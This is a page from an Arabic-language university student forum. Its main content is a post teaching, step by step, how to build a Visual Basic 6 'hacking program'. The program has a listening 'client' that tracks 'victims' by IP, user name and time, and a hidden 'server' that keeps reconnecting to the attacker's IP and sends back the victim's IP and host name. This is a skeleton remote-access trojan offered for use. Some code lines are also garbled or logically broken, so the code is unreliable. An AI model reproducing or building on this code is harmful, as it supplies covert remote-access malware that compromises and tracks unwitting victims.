منتديات طلاب جامعة النيلين كلية علوم الحاسوب وتقانة المعلومات الحرية
مرحبا بكم فى منتديات طلاب جامعة النيلين كلية علوم الحاسوب وتقانة المعلومات مركز الحرية للتسيجل معنا اضغط على دخول للخروج اضغط اخفاء نرجو ان تكون معنا عضواء وشكرا
lol! lol! lol! lol!
مرحبــــــــــــــــــــــــــــا بكم فى منتديات طلاب جامعة النيلين
منتديات طلاب جامعة النيلين كلية علوم الحاسوب وتقانة المعلومات الحرية
مرحبا بكم فى منتديات طلاب جامعة النيلين كلية علوم الحاسوب وتقانة المعلومات مركز الحرية للتسيجل معنا اضغط على دخول للخروج اضغط اخفاء نرجو ان تكون معنا عضواء وشكرا
lol! lol! lol! lol!
مرحبــــــــــــــــــــــــــــا بكم فى منتديات طلاب جامعة النيلين
منتديات طلاب جامعة النيلين كلية علوم الحاسوب وتقانة المعلومات الحرية
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.


مدير المنتدى عبدالرحيم على القيد
 
alhemoالرئيسيةأحدث الصورالتسجيلدخولتحويل شرايط الفيديو الى اسطونات سى دى

الف مبرووووووووووووك النجاح لطلاب جامعة النيلين كلية علوم الحاسوب مركز الحرية للاقسام التالية .تقانة المعلومات- نظم المعلومات - هندسة البرمجيات للعام 2011 الى 2012
--
<______download ______>

لمعرفة نتيجة جامعة النيلين حاسوب الفرقة الثانية تقانة معلومات للعام 2011 _2012اضغط هنا

للدخول للموقع الحيمو لتصميم المواقع اضغط هنا




اضغط هنا للدخول الفيس بوك
مواضيع مماثلة
بحـث
 
 

نتائج البحث
 
Rechercher بحث متقدم
المواضيع الأخيرة
» ماذا تعنى كلمة Troubleshooting
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالجمعة مارس 04, 2016 7:00 am من طرف alhemo web sit

» تنزيل مباشر لبرنامج الفوتشوب الاصدارة الثامنة حيمكوووووو هاكرز
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالجمعة فبراير 19, 2016 7:49 am من طرف alhemo web sit

» What is MAC Address?
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالخميس سبتمبر 24, 2015 11:27 pm من طرف alhemo web sit

» تعرف على مفهوم الشبكات المعزولة عن شبكة الانترنت
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالسبت سبتمبر 19, 2015 6:28 am من طرف alhemo web sit

» طريقة جميلة للاختراق شبكة معزولة عن شبكة الانترنت
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالسبت سبتمبر 19, 2015 6:20 am من طرف alhemo web sit

»  شرح طريقةسهلة لعمل safe mode للبلى استيشن
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالأحد أغسطس 09, 2015 11:46 am من طرف alhemo web sit

» برامج وكورسات علوم الحاسب وتكنولوجيا ونظم المعلومات للبكالوريوس والدراسات العليا
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالإثنين يوليو 27, 2015 6:49 am من طرف bfci

» برامج وكورسات علوم الحاسب وتكنولوجيا ونظم المعلومات للبكالوريوس والدراسات العليا
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالأحد يوليو 05, 2015 7:52 pm من طرف bfci

» احلى منتدى
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالجمعة يناير 30, 2015 1:57 am من طرف عايشه

ازرار التصفُّح
 البوابة
  حيمو الرئيسية
 حيموقائمة الاعضاء
 البيانات الشخصية
 س .و .ج
  حيمو بحـــــث
لتحديث موقع الحيمو يرجى الضغط هنا
منتدى
التبادل الاعلاني برعاية حيمووووووووو

 

 كيفية صنع برنامج اختراق عميل+حادم بلغة البيسك

اذهب الى الأسفل 
كاتب الموضوعرسالة
alhemo web sit
مدير المنتدى
مدير المنتدى
alhemo web sit


عدد المساهمات : 115
تاريخ التسجيل : 14/05/2010
العمر : 38
الموقع : موقع طلاب جامعة النيلين كلية علوم الحاسوب وتقانة المعلومات

alhemo
الحيمو للمونتاج والدوبلاج:
الحيمو للمونتاج والدوبلاجكيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Empty
كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyمنتديات طلاب جامعة النيلين كلية علوم الحاسوب مركز الحرية

كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Empty
مُساهمةموضوع: كيفية صنع برنامج اختراق عميل+حادم بلغة البيسك   كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Emptyالثلاثاء يناير 01, 2013 12:24 pm

بسم الله الرحمن الرحيم

الحمد لله رب العالمين ، والصلاة والسلام على أشرف الخلق وأعز المرسلين وبعد،،


موضوعنا اليوم باين من عنوانه


سنشرح صنع واجهة برنامج اختراق ( عميل + خادم)




-: العميل :-


نشغل برنامج الفيجوال بيسك




الأدوات


ندوس كليك شمال على الـ Tool Bar




نختار بعدها Components


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 1


نختار اداتين


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 2


اول اداه و اسمها




Microsoft Windows Common Controls 6.0




و تانى اداه و هيا الوينسوك و طبعا دى مشهوووووووره جدا للكل و الكل عارف ايه استخداماتها




Microsoft Winsock Control 6.0






نضيف اداه List View و اداه Winsock كما موضح بالصوره


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 3


نركز هنا بقى شويه لأن النقطه دى مهمه جداااااااااا




نختار اداه الوينسوك و نعدل كلأتى




Name : Sock


Index : 0


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 4


و بعدها نختار اداه الليست فيو




و نعدل عليها




Name : lstvict


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 5


و بعدها ندوس زرار Custom




نعدل اعداداتها بالظبط زى ما هو باين ف الصوره


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 6


و بعدها ندوس على زرار Column Headers




نيجى بقى لتقسيم الليست بتاعتنا عشان تظهر فيها معلومات السيرفر




ندوس على insert column


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 7




رقم 1 ده هيبقى اسم الخانه اللى هيظهر فيها رقم الضحيه


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 8


و نرجع تانى ندوس على insert Column




و نضيف


IP


و بعدها insert Column


و نضيف


User Name


و بعدها insert column


و نضيف


Time




و ملحوظه كدا صغيره




Width ده يبقى عرض الخانه


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 9


عشان ننسق الخانات بالتساوى و عرضهم يبقى قد بعض




انا مثلا خليت عرضهم


1653.73




هيظهر لنا بالشكل ده


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 10


كدا خلصنا من الوينسوك و الليست فيو




نضيف تكست


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 11


و نسميه


Sck




و نخلى القيمه




Visible = False




لحد كدا و تمااااااااااام اووووووووووووووى و خلصنا من كلللللللل الأدوات (( الخاصه بالعميييل ))




-: الأكواد :-




كود التصريحات العامه




كود:
Dim SckNumber As Integer
كود الفورم لود




كود:
SckNumber = 0 ' تصفير المتغير SckNumber

Form1.Sock(Index).Close ' قفل الوينسوك و قطع اى اتصال

Form1.Sock(Index).LocalPort = 5100 ' تحديد البورت المناسب للوينسوك

Form1.Sock(Index).Listen ' بدايه الأنصات
-: اكواد الوينسوك :-




ف الوينسوك يوجد اجرائات متععده




ما هوا الأجراء و ما هى الأداه؟؟


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Egra2


نختار الأجرائين




Close


Error




كود:
'''''''' قطع الأتصال من الخادم المغلق''''''''''
Sock(Index).Close
For z = 1 To lstvict.ListItems.Count
lstvict.ListItems.Remove lstvict.ListItems(z).Index
Next z
'''''''''''''''''''''''''''''''''
connectionRequest الأجراء




كود:
On Error GoTo Err:
'''''''''قبول الأتصال و اضافه وينسوك جديده''''''''''



كود:
Dim InServer As Long
ConnectionAttempts = ConnectionAttempts + 1
If Sock.UBound <= 1 Then
InServer = lstvict.ListItems.Count + 1
Else
InServer = Val(lstvict.ListItems(lstvict.ListItems.Count).SubItems(0)) + 1
End If

Load Sock(InServer)
Sock(InServer).Accept requestID
Sock(InServer).SendData "v1ct1m"
Exit Sub

Err:
On Error Resume Next:
Unload Sock(InServer) ' مسح الوينسوك عند حدوث اى خطا
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''



كود:
Dim All_data As String, NData() As String


Sock(Index).GetData All_data, vbString
IndataCompressed = Round(IndataCompressed + (((Len(All_data) / 4) * CompressLevel) / (1024 ^ 2)), Cool: IndataNormal = Round(IndataNormal + (Len(All_data) / (1024 ^ 2)), Cool
NData = Split(All_data, "[\SC/]")

Select Case NData(0)

Case "v1ct1m"
lstvict.ListItems(index1).ListSubItems.add index2, , Ndata(index3)
newItem.ListSubItems.Add , , NData(1)
newItem.ListSubItems.Add , , NData(2)
newItem.ListSubItems.Add , , NData(3)

End Select
الرجاء الانتباه للكود التالي




كود:
Ndata = Split(All_Data, "[\SC/]")
معنى الكود هو:يقسم المعلومات اللى واصله من الخادم و بيظهرلنا اللى احنا عاوزينه بس




Split : كود التقسيم


All Data : الداتا اللى بتوصل من الخادم


[\SC/] : الكلمه اللى بتفصل بين الدليل و المعلومات




يعنى مثلا




نتفرض ان الكود




كود:
Dim rEdwolf() , Visual As String

rEdWolf = Split(Visual,"|")
و نفترض ان Visual




كود:
msg|ahmed
و عاوزين نظهر ده ف مسج بوكس




هيبقى كودنا


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك Msgbox rEdW0LF(1)




rEdWolf لتقسيم المعلومات


و رقم 1 ده يبقى رقم الداتا




ياريت بجد اكون قدرت اوصل وظيفه الكود






بكده العميل اصبح تمااااااااااااااااااااااا ااااااااااااااااااااااااا اااااااااااااااام








-:السيرفر:-




الأدوات




نضيف الأدوات كما بالصوره


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 1




txtip : الاى بى الخاص بالعميل


txtport : البورت


sock : الوينسوك


Timer1 : التايمر اللى هيقوم بعمليه الأتصال و هنخليه يجرب اتصاله كل 5 ثوانى




و نخلى القيمه Visible = False




كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 2


و بكده خلصنا ادوات السيرفر






الأكواد




كود الفورم لود




كود:
Timer1.Interval = 5000
اكواد الوينسوك




الأجراء




Close


Error






كود:
Sock.Close
الأجراء DataArrival


(البيانات اللي بتوصل من العميل)




كود:
Dim Ndata() As String, All_Data As String
'تقسيم المعلومات

Ndata = Split(All_Data, "[\SC/]")
Sock.GetData All_Data
Select Case Ndata(0)
Case "v1ct1m"
'استقبال معلومات الخادم

TMPSTR = "v1ct1m"
TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalIP
TMPSTR = TMPSTR & "[\SC/]" & Sock.LocalHostName
TMPSTR = TMPSTR & "[\SC/]" & Time
Sock.SendData TMPSTR

End Select
و اخيرا كود الـ Timer




كود:
If Not Sock.State = sckConnected Then
Sock.Close
Sock.Connect txtip, txtport
Else

Exit Sub
End If
الآن خلصنا واجهة البرنامج(عميل +خادم)


كيفية صنع برنامج  اختراق عميل+حادم  بلغة البيسك 12
الرجوع الى أعلى الصفحة اذهب الى الأسفل
https://alhemozero.yoo7.com
 
كيفية صنع برنامج اختراق عميل+حادم بلغة البيسك
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» كيفية صنع برنامج اختراق عميل+حادم بلغة البيسك
» قصة مؤسس الفيس بوك مارك بلغة الانجليزية
» شرح برنامج Hiren’s BootCD 15.2

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات طلاب جامعة النيلين كلية علوم الحاسوب وتقانة المعلومات الحرية :: الفئة الأولى :: يرجى التسجيل فى الموقع قبل الدخول-
انتقل الى: